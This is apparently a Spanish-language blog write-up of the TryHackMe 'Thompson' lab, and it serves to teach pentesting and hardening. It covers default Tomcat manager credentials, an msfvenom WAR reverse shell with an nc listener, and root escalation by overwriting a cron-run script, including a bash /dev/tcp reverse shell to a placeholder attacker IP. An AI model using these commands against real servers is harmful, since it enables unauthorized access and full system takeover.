← Back to list

Writeup: Thompson en TryHackMe

https://tryhackme.com/room/bsidesgtthompson

Demegorash · 2026-07-13 03:02 · 0 claps · 3.1 min read
#cybersecurity #pentesting #tryhackme-writeup #tryhackme #tomcat
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Writeup: Thompson en TryHackMe

https://tryhackme.com/room/bsidesgtthompson

De Credenciales por Defecto a Root Compromise

¡Hola a todos! En este writeup vamos a resolver Thompson, una máquina de dificultad fácil en la plataforma TryHackMe. Es un laboratorio ideal para repasar conceptos esenciales de enumeración web, explotación de servidores de aplicaciones (Apache Tomcat) y abuso de tareas programadas (Cron Jobs) para la escalada de privilegios.

¡Vamos a ello!

1. Información General

  • Máquina: Thompson
  • Plataforma: TryHackMe
  • Dificultad: Fácil
  • OS: Linux

2. Fase de Enumeración

Comprobación de Conectividad

Comenzamos verificando que la máquina objetivo esté activa y medimos su distancia en la red:

ping -c 1 10.67.173.233

Nota: El valor del TTL (62) nos da un indicio casi certero de que nos enfrentamos a un sistema operativo basado en Linux (cuyo TTL por defecto suele ser 64).

Escaneo de Puertos (Reconocimiento Inicial)

Realizamos un escaneo rápido y agresivo de todo el rango de puertos TCP (-p-) para identificar cuáles están abiertos, optimizando la velocidad con --min-rate=3500:

sudo nmap -p- --open -sS --min-rate=3500 -n -Pn 10.67.173.233 -oG allPorts

Puertos detectados:

  • 22/tcp – SSH
  • 8009/tcp – AJP (Apache JServ Protocol)
  • 8080/tcp – HTTP (Apache Tomcat)

Escaneo Dirigido de Servicios

Con los puertos objetivo en la mira, lanzamos un escaneo de scripts predeterminados (-sC) y detección de versiones (-sV):

nmap -sCV -p22,8009,8080 10.67.173.233 -Pn -oN targeted

Resultado clave: El puerto 8080 está corriendo un servicio Apache Tomcat versión 8.5.x.

3. Enumeración Web y Acceso al Panel

Analizamos las tecnologías del servidor web utilizando whatweb:

whatweb http://10.67.173.233:8080

Confirmamos que se trata de Apache Tomcat/8.5.5. Al explorar la raíz, nos dirigimos a la ruta del panel de administración: [http://10.67.173.233:8080/manager/html.](http://10.67.173.233:8080/manager/html.)

Descubrimiento de Credenciales

Al intentar ingresar al panel, el servidor nos devuelve un código de estado 401 Unauthorized. Sin embargo, la propia página de error por defecto de Tomcat expone un ejemplo de configuración del archivo tomcat-users.xml.

Probamos las credenciales típicas que vienen sugeridas en dicha plantilla:

  • Usuario: tomcat
  • Contraseña: s3cret

¡Éxito! Logramos acceso al Tomcat Web Application Manager.

4. Explotación (Remote Code Execution)

Generación del Payload

Dado que Tomcat permite el despliegue de aplicaciones empaquetadas en archivos .war, podemos aprovechar esta funcionalidad para subir una Reverse Shell. Generamos nuestro payload malicioso con msfvenom:

msfvenom -p java/shell_reverse_tcp LHOST="<TU_IP_VPN>" LPORT=1234 -f war -o shell.war

Intrusión y Tratamiento de la Shell

  • Ponemos nuestro netcat a la escucha en la máquina atacante:
  • nc -lvnp 1234
  • Desde el panel web de Tomcat, subimos y desplegamos el archivo shell.war
  • Ejecutamos la aplicación haciendo clic sobre ella en el panel o navegando a [http://10.67.173.233:8080/shell/](http://10.67.173.233:8080/shell/.)

Recibimos la conexión entrante de manera exitosa:

$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Tip Pro: Para trabajar cómodamente, estabilizamos la shell utilizando comandos clásicos de Python o script para obtener una TTY interactiva.

Navegamos al directorio del usuario y capturamos nuestra primera flag:

  • User Flag (/home/jack/user.txt): 39400c90bxxxxxxxxxxxxxxxxxxxxxxxxxx

5. Escalada de Privilegios

Enumeración del Sistema

Buscando vectores para elevar privilegios, revisamos las tareas programadas del sistema del archivo /etc/crontab:

cat /etc/crontab

Encontramos una línea sumamente interesante ejecutándose cada minuto como root:

Plaintext

* * * * * root cd /home/jack && bash id.sh

Al revisar los permisos del script /home/jack/id.sh, descubrimos una vulnerabilidad de configuración crítica: el usuario tomcat tiene permisos de escritura sobre este archivo.

Explotación del Cron Job (Opción A: Lectura de Flag)

Podemos inyectar una instrucción para copiar la flag de root a un directorio accesible:

echo "cp /root/root.txt /home/jack/root.txt" > id.sh

Tras esperar un minuto a que el cronjob se ejecute, leemos la flag:

cat /home/jack/root.txt
  • Root Flag: d89d5391984xxxxxxxxxxxxxxxxxxxxxxx

Explotación del Cron Job (Opción B: Consola Completa de Root)

Si queremos comprometer el sistema por completo y obtener una shell interactiva como root, modificamos el script para que nos envíe otra reverse shell:

echo "bash -i >& /dev/tcp/<TU_IP_VPN>/4444 0>&1" > id.sh

Preparamos nuestro listener:

nc -lvnp 4444

Una vez cumplido el minuto, el sistema nos devuelve la sesión:

whoami
root

6. Conclusión y Remediación

Esta máquina demuestra perfectamente cómo el impacto de pequeñas malas configuraciones escalan hasta comprometer todo el servidor:

  • Credenciales por defecto/débiles: Permitieron el acceso administrativo inicial al Tomcat Manager.
  • Funcionalidades peligrosas expuestas: El despliegue de archivos .war facilitó la Ejecución Remota de Código (RCE).
  • Permisos laxos en scripts del sistema: Un archivo editable por usuarios de bajos privilegios ejecutado por root concedió el control total del servidor.

Hardening sugerido: Cambiar credenciales por defecto inmediatamente, restringir el acceso al panel Manager por IP y aplicar el principio de menor privilegio en las tareas de Cron.

¿Te gustó este writeup? ¡No olvides darle unos aplausos 👏 y seguirme para más contenido de Hacking Ético y Pentesting!


메타데이터
post_id
4ebcf5fd41e8
slug
writeup-thompson-en-tryhackme-4ebcf5fd41e8
url
https://medium.com/@demegorash/writeup-thompson-en-tryhackme-4ebcf5fd41e8
canonical_url
https://medium.com/@demegorash/writeup-thompson-en-tryhackme-4ebcf5fd41e8
author_url
https://medium.com/@demegorash
status
ok
fetched_at
2026-07-14 23:23:58